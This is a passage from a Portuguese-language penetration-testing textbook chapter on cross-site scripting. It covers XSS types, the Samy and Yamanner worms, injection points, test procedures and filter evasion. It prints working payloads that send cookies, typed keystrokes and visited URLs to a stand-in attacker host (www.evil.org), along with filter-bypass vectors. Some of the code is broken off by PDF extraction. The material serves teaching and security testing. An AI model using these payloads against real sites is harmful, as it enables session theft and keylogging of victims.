1 RYDSTEDT, Gustav; BURSZTEIN, Elie; BONEH, Dan e JACKSON, Colling. Busting Frame
Busting: a Study of Clickjacking Vulnerabilities on Popular Sites. In: IEEE Web 2.0 Security
and Privacy (W2SP), 2010.
1 SCHRANK, Michael; BRAUN, Bastian e POSSEGA, John Joachim. Session Fixation The
Forgotten Vulnerability? In: Sicherheit 2010: Sicherheit, Schutz und Zuverlssigkeit, Beitrge
der 5. Jahrestagung des Fachbereichs Sicherheit der Gesellschaft fr Informatik e.V. (GI), 2010.
177
1 SILES, Ral. SAP: Session (Fixation) Attacks and Protections (in Web Applications). Taddong S.
L., Black Hat Europe 2011, 2011.
1 STONE, Paul. Next Generation Clickjacking New attacks against framed web pages. White
Paper, Context Information Security Ltd., 2010.
1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
Teste de Invaso de Aplicaes Web
178
5
Cross-site scripting
objetivos
Apresentar os diversos tipos de XSS e como podem ser empregados para obter
identificador de sesso, adulterar pginas, capturar teclas digitadas, descobrir
histrico de navegao e quebrar tokens anti-CSRF.
conceitos
Cross-site scripting (XSS), XSS refletido, XSS armazenado, XSS baseado em DOM,
cross-channel scripting, worms baseados em XSS, evaso de filtros, arcabouos
de explorao.
Introduo
Cross-site scripting, tambm conhecido como XSS, atualmente um dos defeitos de segu- q
rana mais comumente encontrados em aplicaes web, permitindo utilizar uma aplicao
vulnervel para transportar cdigo malicioso, normalmente escrito em Javascript, at o nave-
gador de outro usurio. Uma vez que a poltica de mesma origem respeitada, o navegador
da vtima entende que o cdigo recebido legtimo e, por isso, informaes sensveis, como o
identificador de sesso do usurio, por exemplo, podem ser acessadas programaticamente.
De modo geral, essa vulnerabilidade ocorre todas as vezes em que uma aplicao web q
no valida informaes recebidas de uma entidade externa (usurio, banco de dados ou
outra aplicao, por exemplo) e as insere inalteradas em alguma pgina gerada dinami-
camente. O problema acontece porque qualquer cdigo contido naquelas informaes
Captulo 5 - Cross-site scripting
interpretado como tal, pelo navegador do usurio que realiza o acesso, e executado
automaticamente, no contexto da sesso.
Para exemplificar, imagine-se que o texto fornecido e integralmente exibido pela aplicao
seja <script>alert(XSS)</script>. O resultado que se obtm est ilustrado na Figura 5.1, jun-
tamente com o trecho de cdigo HTML gerado pelo sistema.
Como comum utilizar exatamente esse vetor em testes de invaso e provas de conceito,
muitas pessoas acreditam que um cross-site scripting no um ataque crtico, pois apenas
exibe uma caixa de mensagem ao usurio. Tal pensamento est longe de estar correto, pois,
179
desde a primeira vez em que o problema foi descrito, diversas novas tcnicas de explorao
foram desenvolvidas.
Para se ter uma ideia mais realista, roubo de histrico de navegao, varredura de redes q
privadas, descoberta de consultas realizadas em mecanismos de busca, escravizao de
navegador web e worms baseados em XSS so apenas alguns exemplos do que pos- Worm
svel obter, por meio da explorao da vulnerabilidade (Grossman et al., 2007; Hoffman e Tipo de malware que
Sullivan, 2007). utiliza uma ou mais
vulnerabilidades
no sistema, para se
Note-se que, para piorar a situao, os scripts maliciosos que efetuam esses ataques so
propagar de maneira
executados nas mquinas de usurios e, portanto, dentro da rede interna do ambiente. automtica, isto , sem
necessitar de uma ao
Assim, devido importncia do tema cross-site scripting, este captulo dedicado a discutir do usurio.
exclusivamente os diversos aspectos sobre ele. Nesse contexto, os tpicos cobertos so:
tipos de XSS, worms baseados em XSS, pontos de injeo, roteiros de teste, obteno de
identificador de sesso, adulterao de pgina, descoberta de histrico de navegao,
captura de teclas digitadas no navegador web, quebra de token anti-CSRF, evaso de filtros e
arcabouos de explorao.
Exerccio de nivelamento 1 e
Figura 5.1
Exemplo genrico
Cross-site scripting de XSS.
Tipos de XSS
Dependendo de como o contedo malicioso transportado at a vtima e do local em q
que a vulnerabilidade ocorre (no servidor ou no cliente), um cross-site scripting pode ser
classificado nos seguintes tipos:
180
XSS refletido
Nessa classe de XSS, o cdigo enviado na URL ou no cabealho HTTP, como parte da q
requisio, explorando um parmetro que exibido sem tratamento na pgina resul-
tante. Normalmente, requer que o usurio seja induzido a clicar em um link especial-
mente construdo, com contedo malicioso. muito comum em pginas dinmicas
utilizadas para exibio de mensagens parametrizadas de erro.
1. O atacante fornece vtima um link para a aplicao vulnervel, com cdigo Javascript
embutido em um dos parmetros da URL.
2. A vtima solicita aplicao vulnervel o recurso identificado pela URL fornecida no pri-
meiro passo deste roteiro.
Como exemplo, considere-se uma aplicao que possua um campo de busca e que exiba
uma mensagem de erro contendo o valor digitado, quando ele no for encontrado na base de
dados. Supondo que a requisio feita pelo mtodo GET e a informao procurada passada
no parmetro search_name, a seguinte URL pode ser empregada em um XSS refletido:
http://localhost:8080/WebGoat/attack?Screen=33&menu=900&
search_name=X<script>alert(%22XSS%20Refletido%22)
</script>&action=FindProfile
Note que, alm do texto X, um cdigo Javascript para exibio de caixa de mensagem
passado como parte do parmetro search_name. Dada a inexistncia do valor na base, a
aplicao exibe uma pgina de erro, informando que X<script>... no foi encontrado. Ao
Figura 5.2
Exemplo de XSS realizar isso, porm, o cdigo fornecido em search_name embutido no HTML e executado
refletido. pelo navegador web, conforme ilustrado na Figura 5.2.
181
XSS armazenado
XSS armazenado ou persistente recebe este nome porque o cdigo malicioso armaze- q
nado pela aplicao, normalmente em um banco de dados, e exibido a todos os usurios
que acessam o recurso infectado. um tipo mais perigoso, pois pode afetar uma quanti-
dade maior de usurios, de uma nica vez, alm de no ser necessrio induzi-los a seguir
um link para serem atacados.
2. Outro usurio verifica a lista de perguntas e resolve acessar justamente aquela com
contedo malicioso.
Vtima
4
1 3
Atacante
Figura 5.3
XSS baseado em DOM Passos de um XSS
Cross-site scripting baseado em DOM muito similar ao tipo refletido, mas difere deste q armazenado.
Teste de Invaso de Aplicaes Web
182
<html>
<body>
<h2>
<script>
document.write(Bem-vindo);
if (pos != -1) {
document.write(!!);
</script>
</h2>
Figura 5.4
Cdigo vulnervel </body>
a XSS baseado
em DOM. </html>
Observe que o valor de usuario extrado por meio da funo substring(), tomando-se a
cadeia de caracteres que vai do smbolo = at o final da URL. Por conseguinte, qualquer
texto que esteja aps o parmetro copiado integralmente para o corpo da pgina HTML, no
importando o que seja. Para exemplificar a vulnerabilidade, considere que o valor passado
seja usuario=leitor<script>alert(10)<%2fscript>. Nesse cenrio, o script embutido na URL
incorporado ao documento, por meio do Javascript nele definido, e executado em seguida.
Captulo 5 - Cross-site scripting
183
importante notar que, nesse caso, o cdigo malicioso enviado ao servidor, embora no Figura 5.5
seja refletido para o usurio, como parte do HTML de resposta. De modo a evitar que aquilo Exemplo de XSS
baseado em DOM.
acontea, pode-se coloc-lo aps um smbolo #, o qual, em uma URL, introduz o que se
chama de fragmento. Este atua como referncia a um recurso subordinado e nunca
submetido em uma requisio, como se v na Figura 5.6. Assim, possvel evadir eventuais
filtros que existam no servidor e definir cdigo de tamanho arbitrrio, limitado somente
pelo mximo que o navegador web aceita.
Os passos para explorao de um cross-site scripting baseado em DOM so: Figura 5.6
Exemplo de que
1. O atacante fornece vtima um link para a aplicao vulnervel, com cdigo Javascript fragmento de URL
no enviado em
embutido como um fragmento de URL. requisio.
a requisio.
3. A aplicao fornece como resposta requisio uma pgina HTML contendo cdigo
Javascript, o qual altera o documento, com base no valor de um parmetro da URL. Nesse
momento, o cdigo malicioso inserido no DOM, juntamente com o argumento especificado.
184
Cross channel scripting
Cross channel scripting (XCS) se refere a uma variao de cross-site scripting armaze- q
nado, que utiliza um canal alternativo para injeo do cdigo malicioso. De modo geral,
Network attached afeta dispositivos que possuem um servidor web embutido, como porta-retratos digitais
storage e network attached storages, por exemplo, os quais permitem que informaes sejam
Tipo de dispositivo de enviadas a eles, por meio de protocolos diferentes do HTTP. Nos casos em que so
rede, utilizado para vulnerveis, muitas vezes, a fragilidade no decorre de defeitos individuais nos vrios
servir arquivos aos
usurios do ambiente, protocolos suportados, mas, sim, da interao entre eles.
por meio de diversos
protocolos, como CIFS, Por exemplo, considere um NAS que utiliza FTP para transferncia de arquivos, mas que
NFS, HTTP e FTP, emprega uma interface web para list-los e manipul-los. Como o primeiro no susceptvel
por exemplo.
a XSS, nenhum tratamento feito sobre os nomes e contedos dos arquivos, criando, assim,
a possibilidade de explorar os usurios que acessam o equipamento via HTTP.
Segundo Bojinov et al. (2009), o cenrio acima apresenta duas restries para o atacante, mas
que podem ser superadas, com um pouco de engenhosidade, conforme eles prprios apontam:
Consolidando todas essas informaes, possvel sintetizar um ataque cross channel scripting
nos seguintes passos principais:
5. Atacante utiliza um canal diferente de HTTP, como FTP, SMTP ou SNMP, para armazenar
cdigo malicioso no servidor.
6. Usurio legtimo solicita, por meio de navegador web, um elemento contendo script mali-
cioso, o qual inserido na pgina HTML de resposta, sem que a vtima saiba.
Para ilustrar o ataque, considere que um usurio malicioso cria no dispositivo um arquivo
chamado <img src=a onerror=alert(1)>, conforme ilustrado na Figura 5.7. Ao listar o
contedo do diretrio em questo, por meio de uma aplicao web vulnervel, o nome de
cada arquivo inserido na pgina HTML, sem sanitizao. Isso faz com que um <img> seja
Figura 5.7 embutido no documento, causando uma situao de erro, devido inexistncia do recurso
Arquivo com nome
Captulo 5 - Cross-site scripting
a, especificado pelo atributo src. Por conseguinte, o inofensivo cdigo alert(1) executado
contendo cdigo
malicioso. (vide Figura 5.8), o qual poderia muito bem ser substitudo por algo mais danoso.
185
Exerccio de fixao 1 e
Figura 5.8
Execuo de um
XSS cross channel
scripting.
Que tipos de XSS existem?
Figura 5.9
Teste de Invaso de Aplicaes Web
Mquinas infectadas
nas primeiras
24 horas
(Grossman, 2007a).
Sempre que o Samy Worm, tambm chamado de The MySpace Worm ou JS.Spacehero Worm,
infectava uma conta do MySpace, Samy Kamkar era adicionado como amigo e heri, e o
cdigo malicioso era inserido no perfil da vtima (Grossman, 2007a), pronto para afetar novos
usurios. Para realizar tudo isso, diversos controles impostos pela aplicao tiveram de ser
evadidos, conforme explicaes do prprio Kamkar (2005), reproduzidas parcialmente a seguir:
186
1 MySpace permitia que apenas um limitado subconjunto de marcadores HTML fosse
utilizado nos perfis de usurios, excluindo-se aqueles necessrios para incluso direta de
Javascript, como <script> e tratadores de evento, por exemplo. Apesar disso, era possvel
incluir cdigo em folhas de estilo de elementos <div>, os quais eram aceitos pela aplicao.
Exemplo:
<div style=background:url(javascript:alert(1))>.
Exemplo:
<div style=background:url(java
script:alert(1))>
1 Para codificar o worm, Samy necessitava empregar aspas simples e duplas; em diversos
lugares, porm, a construo acima j utilizava ambas, e o MySpace removia todas as
Caractere de escape ocorrncias do caractere de escape \, impedindo o uso de \ e \. A primeira dificuldade foi
Usado para indicar que a resolvida, armazenando o Javascript em uma expresso e executando-o por nome, enquanto
sequncia de caracteres
que a soluo para a segunda compreendia o uso da funo String.fromCharCode(34).
junto a ele deve ser
interpretada de maneira
Exemplo:
diferente daquela se
estivesse isolada.
<div id=mycode expr=alert(double quote: + String.
Por exemplo, comum
em linguagens de fromCharCode(34)) style=background:url(java
programao que uma
aspa seja empregada script:eval(document.all.mycode.expr))>
como delimitador de
cadeias de caracteres.
1 Diversas outras palavras-chave, como innerHTML e onreadystatechange, por exemplo,
Para que, em vez disso,
ela seja considerada eram filtradas pelo MySpace. Para contornar esse controle, Samy utilizou a funo eval()
com o sentido original, juntamente com a concatenao de cadeias de caracteres. O mesmo truque foi empre-
deve ser antecedida
gado para evitar que a busca pela palavra friendID, na pgina atual, encontrasse o
pelo caractere
de escape, trecho de cdigo Javascript que realizava a prpria tarefa.
normalmente,
representado por Exemplo:
uma barra.
eval(document.body.inne + rHTML)
Captulo 5 - Cross-site scripting
187
visualizado se acessado de www.myspace.com, Samy incluiu o cdigo abaixo, para redire-
cionar o usurio para o domnio necessrio e resolver o problema:
if (location.hostname == profile.myspace.com)
document.location = http://www.myspace.com +
location.pathname + location.search;
O cdigo completo do Samy Worm est ilustrado no apndice deste captulo, tal como era
inserido no perfil das contas infectadas. Note que os trechos marcados em vermelho corres-
pondem aos itens discutidos nesta seo.
Similarmente ao MySpace, os filtros utilizados pelo Yahoo! Web Mail impediam a incluso
nas mensagens do marcador <script> e de palavras que definem eventos, como onload, por
exemplo. Imagens, por outro lado, eram permitidas, e, como j se sabe, so carregadas
automaticamente pelo navegador web.
Para conseguir injetar o cdigo malicioso, o autor do worm, supostamente um iraniano que
buscava fama internacional para conseguir um emprego fora do pas em que vivia, explorou
uma vulnerabilidade que descobriu nos filtros do Yahoo!. O processo de remoo dos ele-
mentos considerados perigosos no era recursivo e analisava cada mensagem escrita pelos
diversos usurios em uma nica passagem. Uma abordagem desse tipo, embora defeituosa,
comumente encontrada em sistemas de produo, o que permite a evaso dos meca-
nismos de proteo. No caso especfico do Yahoo!, o Yamanner aproveitou-se que o atributo
target tambm era removido pelo filtro, para inserir o seguinte elemento na mensagem
(Hoffman e Sullivan, 2007):
Ao higienizar o texto uma nica vez, o filtro conseguia remover apenas a parte referente a
Teste de Invaso de Aplicaes Web
target =, deixando o restante do elemento intacto. Como resultado, o que era enviado
vtima, no corpo da mensagem, consistia no seguinte:
Consequentemente, o cdigo malicioso era executado com sucesso sempre que a men-
sagem era lida por uma vtima. Visando se propagar, o worm buscava a agenda de ende-
reos do usurio infectado, por meio do mtodo XMLHttpRequest, e enviava uma cpia dele
mesmo para todos os contatos que possuam uma conta no Yahoo! Web Mail. Essa restrio
era adotada, porque a vulnerabilidade explorada era especfica dessa aplicao de correio
eletrnico, no fazendo sentido, portanto, enviar o malware a endereos de outros dom-
nios. Assim como no MySpace, submeter uma mensagem era um processo em duas etapas,
188
no qual o token gerado no primeiro passo deveria ser remetido no segundo. Isso foi contor-
nado pelo Yamanner de maneira anloga ao Samy Worm.
Exemplos adicionais de aplicaes web que foram vtimas de worms baseados em cross-site q
scripting incluem Xanga, SpaceFlash, MyYearBook, Gaia, U-Dominion, Justin.tv, Orkut,
Hi5 e Twitter (Sun et al., 2009).
Note que a grande maioria delas composta por redes sociais, enquanto as demais
englobam blogs, jogos e servidores de vdeo.
Exerccio de fixao 2 e
Tcnicas de evaso
Que tcnicas de evaso foram utilizadas pelo Samy Worm?
Pontos de injeo
muito importante saber o local na pgina HTML no qual ocorre a cpia do cdigo inje- q
tado, para que seja possvel construir o vetor, corretamente e respeitando-se a estrutura
sinttica do documento. No caso mais simples, o texto fornecido pelo usurio inserido
diretamente no corpo da pgina, como no exemplo a seguir:
<pre>Hello Nelson</pre>
Em tal cenrio, no h elementos, como aspas e chaves angulares, que precisam ser balan-
ceados e, assim, o seguinte vetor de injeo pode ser empregado:
<script>alert(1)</script>
Resultando em:
<pre>Hello <script>alert(1)</script></pre>
Captulo 5 - Cross-site scripting
Outras vezes, o texto controlado pelo usurio includo dentro de um script, conforme q
abaixo ilustrado:
<script>
var a=Nelson;
</script>
189
Observe que, para o vetor de injeo ser considerado como um comando e no como uma
cadeia de caracteres, ele deve ficar fora da regio delimitada por aspas. Para conseguir isso,
pode-se fornecer o valor a seguir, que fecha a aspa inicial e balanceia a final, por meio da
declarao de uma varivel adicional:
Nelson;alert(1);var b=
<script>
</script>
Nelson onclick=alert(1)
O problema dessa construo que o usurio precisa interagir com o campo, para que o
cdigo seja executado, o que no necessariamente acontece. Uma alternativa que resolve
essa questo consiste em fechar o elemento <input>, embutir um script e inserir um
marcador invlido, de modo a balancear o que vem aps a aspa dupla. Nesse contexto,
possvel fornecer a entrada:
Nelson><script>alert(1)</script><invalid a=
Observe-se que nesse caso no possvel inserir diretamente o marcador <script>, pois ele
seria considerado como parte do ttulo, pelo navegador web, em vez de uma meta-informao.
Desse modo, preciso inserir um </title>, antes da incluso do script malicioso:
Nelson</title><script>alert(1)</script>
190
Perceba que um </title> fica sobrando, porm, ele ser ignorado pelo navegador web, sem
afetar a execuo do cdigo malicioso.
Roteiros de teste
Os roteiros de teste desta seo diferem entre si em funo do tipo de cross-site q
scripting sendo verificado, embora, de maneira geral, todos eles busquem encontrar os
lugares na aplicao que exibem, sem nenhum tratamento, informaes controladas
pelo usurio.
2.3.Caso uma reflexo seja encontrada, de acordo com o ponto de injeo, selecione
um vetor de teste adequado, que respeite a estrutura sinttica do documento.
4.1.Fornea o valor escolhido no primeiro passo, tendo em mente que, em alguns casos,
ele s armazenado depois de completados os estgios que compem o processo
de negcio especfico.
4.2.Percorra a aplicao em busca do valor injetado. Caso ele aparea mais de uma
vez, cada instncia deve ser avaliada individualmente, como uma potencial
vulnerabilidade.
4.3.Se encontrar o valor, de acordo com o ponto de injeo, selecione um vetor de teste
adequado, que respeite a estrutura sinttica do documento.
Captulo 5 - Cross-site scripting
191
A razo disso que os navegadores web exibem o cdigo-fonte do HTML recebido do servidor,
sem considerar as alteraes realizadas por scripts, em tempo de execuo, mas, no caso deste
tipo de XSS, o cdigo malicioso no refletido, uma vez que nem enviado aplicao.
Outra tcnica que pode ser empregada consiste na anlise dos scripts contidos nas q
pginas do sistema, conforme descrio abaixo:
5. A partir da fase de mapeamento, verifique todo e qualquer script utilizado pela apli-
cao e observe se utilizam os seguintes elementos: document.location; document.
URL; document.URLencoded; document.referer; window.location.
Teste de XCS
Para que aplicaes sejam vulnerveis a cross channel scripting, necessrio que q
informaes visualizadas por uma aplicao web sejam providas por um canal diferente,
como FTP ou SMTP, por exemplo. Antes de executar o roteiro de teste abaixo, ento,
primordial verificar se essa condio satisfeita:
9. Navegue pela aplicao, para identificar pginas que exibem informaes fornecidas
por canais diferentes.
O cdigo abaixo, injetado por meio de um ataque XSS, realiza essa tarefa, por meio da
insero de uma imagem, cujo atributo origem o domnio www.evil.org. Note que o cookie
anexado como parte da URL do recurso, durante a construo do elemento.
<script>document.write(<img src=http://www.evil.org/?SID=+
document.cookie+/>);</script>
Teste de Invaso de Aplicaes Web
Quando o navegador executa o script e o objeto img criado, uma requisio realizada ao
servidor do usurio malicioso, gerando a seguinte entrada no arquivo de trilha de auditoria:
192
importante destacar que o ataque pode ser efetuado mesmo que o identificador de
sesso seja transportado por outros meios, como campos escondidos e URLs, por exemplo.
Caso cookies sejam empregados para esse propsito, como acima ilustrado, a aplicao
pode se proteger definindo o atributo HttpOnly, que evita que cdigo no lado cliente acesse
tais informaes.
Antigamente, um ataque chamado de Cross-Site Tracing (XST) podia ser usado para q
violar a proteo fornecida pelo atributo HttpOnly (Grossman, 2003; Stuttard e Pinto,
2007), mas hoje ele barrado por meio de restries impostas pelos navegadores web,
conforme discutido nos prximos pargrafos. Uma das premissas fundamentais para a
tcnica funcionar depende de o servidor web aceitar o mtodo TRACE, que retorna como
resposta prpria requisio efetuada, como possvel observar na Figura 5.10.
~$ nc xss.esr.rnp.br 80
TRACE / HTTP/1.1
Host:xss.esr.rnp.br
Cookie:SID=0123456789abcdef
HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: message/http
48
TRACE / HTTP/1.1
Host: xss.esr.rnp.br
Cookie: SID=0123456789abcdef
Captulo 5 - Cross-site scripting
Figura 5.10
Exemplo de
requisio com 0
mtodo TRACE.
A construo que antes permitia efetuar essa ao empregava a API XMLHttpRequest, a qual,
nos dias atuais, bloqueia o mtodo em questo, impedindo a explorao da vulnerabilidade.
193
Um exemplo de cdigo que poderia ser utilizado com esse propsito, na poca, est ilus-
trado na Figura 5.11.
<script>
xhr=new XMLHttpRequest();
xhr.open(TRACE,http://dvwa.esr.rnp.br,false);
xhr.send(null);
alert(xhr.responseText);
A partir disso tudo, percebe-se como o ataque, se possvel, permitiria contornar o mecanismo
provido pelo atributo HttpOnly. Ao efetuar a requisio com o mtodo TRACE, o cookie seria
enviado automaticamente ao servidor e refletido em seguida na resposta. Desse modo, ficaria
disponvel ao script no lado cliente, por meio da propriedade responseText, que est fora do
escopo de proteo de HttpOnly.
Adulterao de pgina
Na seo anterior, vimos como possvel inserir dinamicamente uma imagem em uma q
pgina, valendo-se de um cross-site scripting, para enviar um identificador de sesso a um
stio web malicioso. A mesma tcnica pode ser utilizada, para alterar a pgina inteira, resul-
tando na incluso de novos elementos e alterao ou remoo de itens pr-existentes.
Considere, por exemplo, a aplicao ilustrada na Figura 5.12, vulnervel a XSS refletido, cujo
ponto de injeo ocorre no corpo do documento, conforme indicado na Figura 5.13.
Teste de Invaso de Aplicaes Web
Figura 5.12
Exemplo de aplica-
... o vulnervel a XSS
refletido.
<div class=vulnerable_code_area>
194
<input type=submit value=Submit>
</form>
<pre>Hello esrxpto</pre>
</div>
...
Os inmeros objetos da pgina podem ser acessados por meio do DOM, e, como h apenas
um formulrio no exemplo, possvel acess-lo por meio da construo document.
forms[0]. Para remover itens do documento, pode-se invocar o mtodo removeChild(),
no elemento-pai, passando como argumento o objeto-filho desejado, com base na coleo
childNodes[]. Nesse caso, necessrio saber os ndices dos elementos que devem ser
removidos, o que pode ser descoberto por meio do complemento DOM Inspector do Firefox.
A Figura 5.14 ilustra o uso do DOM Inspector para a aplicao de exemplo, com o qual se
observa que o formulrio possui sete ns filhos, que so numerados de 0 a 6. Na parte inferior
da tela, a pgina original exibida, com o propsito de que os elementos sejam ressaltados,
sempre que os ns correspondentes sejam selecionados. Navegando pelos itens sob o
formulrio, descobre-se que a pergunta, o campo e o boto de submisso possuem, respecti-
vamente, os ndices 1, 3 e 5, sendo referenciados, portanto, por childNodes[1], childNodes[3] e
childNodes[5]. Nesse contexto, o seguinte vetor de injeo pode ser utilizado para remover o
campo de entrada, conforme se observa na Figura 5.15:
<script>
var d = document.forms[0];
d.removeChild(d.childNodes[3]);
</script>
195
Expandindo o exemplo, vamos, agora, remover o formulrio inteiro e incluir um completamente Figura 5.14
novo, para obteno de informaes sigilosas da vtima. A primeira parte do cenrio pode ser Uso do DOM
Inspector para a
realizada, invocando-se o mtodo removeChild(), a partir do n pai dele, acessvel por meio da pgina da Figura
propriedade parentNode. O ltimo objetivo, por sua vez, considerando que o ponto de injeo 5.12.
se encontra no corpo da pgina, pode ser alcanado pela incluso direta de elementos HTML,
aps o script injetado, ou empregando o mtodo document.write(). O vetor de injeo abaixo Figura 5.15
Exemplo de remo-
Teste de Invaso de Aplicaes Web
196
Aluno
<script>
var p = document.forms[0].parentNode;
p.removeChild(document.forms[0]);
</script>
<br>
<br><br>
Figura 5.17
Adulterao com- Descoberta de histrico de navegao
q
Captulo 5 - Cross-site scripting
pleta de formulrio,
por meio de XSS. Navegadores web, normalmente, utilizam cores diferentes para links, quando o recurso
alvo j foi ou no acessado pelo usurio. Com base nesse comportamento, empregando um
ataque introduzido por Jeremiah Grossman, em 2006 (Grossman et al., 2007), possvel deter-
minar quando uma pgina especfica foi visitada pela vtima. A tcnica consiste em, a partir
de uma lista de URLs, inserir dinamicamente um link na pgina e verificar a cor com a qual
colorido, invocando o mtodo getComputedStyle(), que retorna o estilo computado para o
elemento especificado. Perceba que a tcnica no capaz de recuperar o histrico completo
de navegao, mas sim testar a hiptese de que um dado conjunto de recursos foi acessado.
197
O cdigo Javascript ilustrado na Figura 5.18 uma adaptao da prova de conceito apresen-
tada por Grossman et al. (2007). Logo no incio, um marcador <style> dinamicamente
inserido, para definir vermelho como a cor de links visitados. Em seguida, interativamente,
um link criado para uma URL da lista, a cor atribuda a ele pelo navegador web verificada
e, por fim, o elemento removido. Nesse processo, se a cor detectada for vermelha, conclui-se
que o recurso foi acessado, e uma imagem adicionada pgina, visando enviar a URL para
um servidor controlado pelo atacante.
var websites = [
http://dvwa.esr.rnp.br,
http://webgoat.esr.rnp.br,
http://xss.esr.rnp.br,
http://gruyere.esr.rnp.br,
http://www.amazon.com/,
http://www.paypal.com/,
];
var item;
var link;
var color;
document.write(<style>);
document.write(</style>);
link = document.createElement(a);
Figura 5.18
link.href = websites[i]; Cdigo Javascript
que pode ser utiliza-
link.innerHTML = websites[i]; do para descoberta
de histrico de
navegao.
198
/* Adiciona o link ao documento, verifica a cor e o remove em
seguida */
document.body.appendChild(link);
color = document.defaultView.getComputedStyle(link,null).
getPropertyValue(color);
document.body.removeChild(link);
document.write(<img src=http://evil.org/?URL=+link.
href+>);
Supondo que o script seja hospedado no servidor www.evil.org, sob o nome historico.js,
possvel injet-lo por meio de cross-site scripting, empregando-se o seguinte vetor:
</script>
Uma vez que o script carregado e executado no navegador da vtima, basta que o atacante
veja as trilhas de auditoria do servidor web malicioso para descobrir quais sites da lista
foram acessados, conforme ilustrado a seguir:
O usurio pode dificultar esse ataque, configurando o navegador web para utilizar cores q
pr-estabelecidas para links visitados e no acessados, e impedindo que as pginas
escolham as prprias cores nesse contexto. Com isso, o atacante teria de adivinhar a cor
escolhida pelo usurio, de modo a realizar o ltimo teste corretamente.
199
Captura de teclas digitadas no navegador web
Uma maneira de capturar as teclas digitadas pelo usurio, em um navegador web, consiste q
em adicionar uma rotina de tratamento do evento onkeypress para o objeto document.
Com isso, sempre que uma tecla for pressionada, o cdigo injetado invocado, permitindo
que ele envie as informaes obtidas ao atacante.
Essa parte pode ser realizada por meio da adio dinmica de um objeto img pgina, que
embute os dados da vtima como parte da URL especificada para o atributo src.
Alm disso, de modo a evitar enviar uma nica tecla por vez, gerando trfego desneces- q
srio, deve-se realizar a submisso, somente aps uma quantidade razovel de dados
ser acumulada. Note, porm, que essa abordagem pode resultar na perda dos ltimos
caracteres digitados, e, assim, os dois aspectos devem ser balanceados.
O cdigo Javascript ilustrado na Figura 5.19 implementa todos os conceitos acima discutidos
e funciona para os navegadores Firefox, Chrome e Opera.
<script>
var buffer = ;
var img;
document.onkeypress=function(e) {
if (buffer.length == 10) {
img = document.createElement(img);
img.src = http://www.evil.org/?Keys=+buffer;
document.body.appendChild(img);
document.body.removeChild(img);
buffer = ;
Para exemplificar o ataque, alguns registros da trilha de auditoria do servidor web malicioso
esto apresentados abaixo, contendo as teclas capturadas de uma vtima:
200
Quebra de token anti-CSRF
Um dos mecanismos mais efetivos, para impedir ataques de cross site request forgery, q
visto no captulo 4, consiste no uso de tokens aleatrios, atrelados sesso, em cada
pgina do sistema. Uma tcnica j discutida, que permite violar esse controle, o
clickjacking, mas ela requer que a vtima seja induzida a interagir com uma aplicao web
maliciosa, a qual sobreposta, de modo transparente, pela pgina da aplicao que se
deseja explorar. Um mtodo muito mais simples de quebra de tokens anti-CSRF vivel
sempre que houver um XSS explorvel na mesma aplicao.
Considere o sistema ilustrado na Figura 5.20, que permite a troca de senhas, sem solicitar a
anterior, mas que implementa um token anti-CSRF, para dificultar cross site request forgery.
Figura 5.20 O primeiro passo, para elaborar a explorao, consiste em determinar a estrutura do formu-
Aplicao que lrio, por meio da anlise do cdigo HTML:
implementa token
anti-CSRF. <form action=# method=GET>
New password:<br>
</form>
Os itens importantes, que devem ser observados no HTML, incluem os nomes dos campos
de senha e do boto de submisso, pois sero utilizados, por um cdigo Javascript injetado,
Captulo 5 - Cross-site scripting
Com base nas informaes levantadas, pode-se construir o seguinte vetor de injeo:
<Script>
function breakToken()
201
var f = document.getElementById(cs).contentDocument.forms[0];
f.password_new.value=pwd;
f.password_conf.value=pwd;
f.Change.click();
</script>
Exerccio de fixao 3 e
Figura 5.21
Vulnerabilidade
Proteo contra CSRF de XSS refletido.
Por que protees contra CSRF so ineficazes quando a aplicao tambm vulnervel a XSS?
Evaso de filtros
Teste de Invaso de Aplicaes Web
Algumas aplicaes utilizam filtros para bloquear entradas maliciosas ou para alter-las, q
de modo que no possam ser utilizadas em ataques. Muitas vezes, eles no so empre-
gados com o propsito de propiciar defesa em camadas, mas, sim, de contornar vul-
nerabilidades presentes na aplicao. Nesses casos, se o atacante consegue evadir os
filtros instalados, o sistema pode ser explorado, de maneira direta. Historicamente, no
so raras as ocorrncias de filtros dessa natureza, contendo vulnerabilidades (Stuttard
e Pinto, 2007).
202
Nos prximos exemplos, observe as tcnicas de evaso, que podem ser empregadas, em
cada um dos casos:
1 Bloqueio de marcadores HTML, desde que escritos totalmente com letras maisculas ou
minsculas possvel fornecer valores com alternncia de letras maisculas e minsculas.
Exemplo:
<ScRiPt>alert(1)</sCrIpT>
1 Bloqueio de marcadores HTML, independente das letras estarem em maisculas ou em
minsculas uma abordagem consiste em inserir espaos antes do caractere >, de
modo que o marcador no seja reconhecido pelo filtro, apesar de continuar sendo aceito
pela grande maioria dos navegadores web. Exemplo:
<script>var a=aler+t(1);eval(a)</script>
1 Filtros externos, escritos em C ou C++ cadeias de caracteres, nessas linguagens, so
finalizadas com um byte zero. Assim, uma estratgia de evaso consiste em inserir um
byte nulo, codificado como %00, no comeo do valor injetado. Exemplo:
%00<script>alert(1)</script>
1 Tamanho mximo de parmetro no caso de um XSS refletido, a abordagem mais direta
transformar a vulnerabilidade em um XSS baseado em DOM. Desse modo, o cdigo
utilizado na explorao no fica limitado ao tamanho imposto pelo filtro, uma vez que ele
no enviado como parte da requisio. Exemplo:
?name=<script>eval(location.hash.substr(1))<%2Fscript>#alert(xss)
1 O filtro remove palavras e marcadores HTML, como javascript e <script>, por exemplo,
de maneira no recursiva a quebra desse filtro pode ser realizada, por meio da escrita
aninhada das palavras, que so consideradas pelo controle. Exemplo:
<scr<script>ipt>alert(1)</script>
1 Um caractere \ adicionado antes de aspas, previamente concatenao da entrada
do usurio com o valor de uma varivel caso o escape do prprio caractere \ no seja
Captulo 5 - Cross-site scripting
\;alert(1);//
203
Resultando em:
var a=\\;alert(1);//;
Considerando que o ponto de injeo est entre os marcadores <script> e </script>, outra
abordagem consiste em encerrar o script original e iniciar um novo:
</script><script>alert(1)</script>
Embora isso permita que o cdigo injetado seja executado, tambm resulta na exibio de
parte dos comandos originais, como se fossem contedo.
Arcabouos de explorao
Existem alguns arcabouos que podem ser utilizados para explorar aplicaes vulne- q
rveis a cross-site scripting, facilitando a execuo de diversos ataques e a evaso de
eventuais filtros instalados (Grossman et al., 2007):
1 XSS-Proxy: criado por Anton Rager e apresentado na conferncia ShmooCon 2005, utiliza
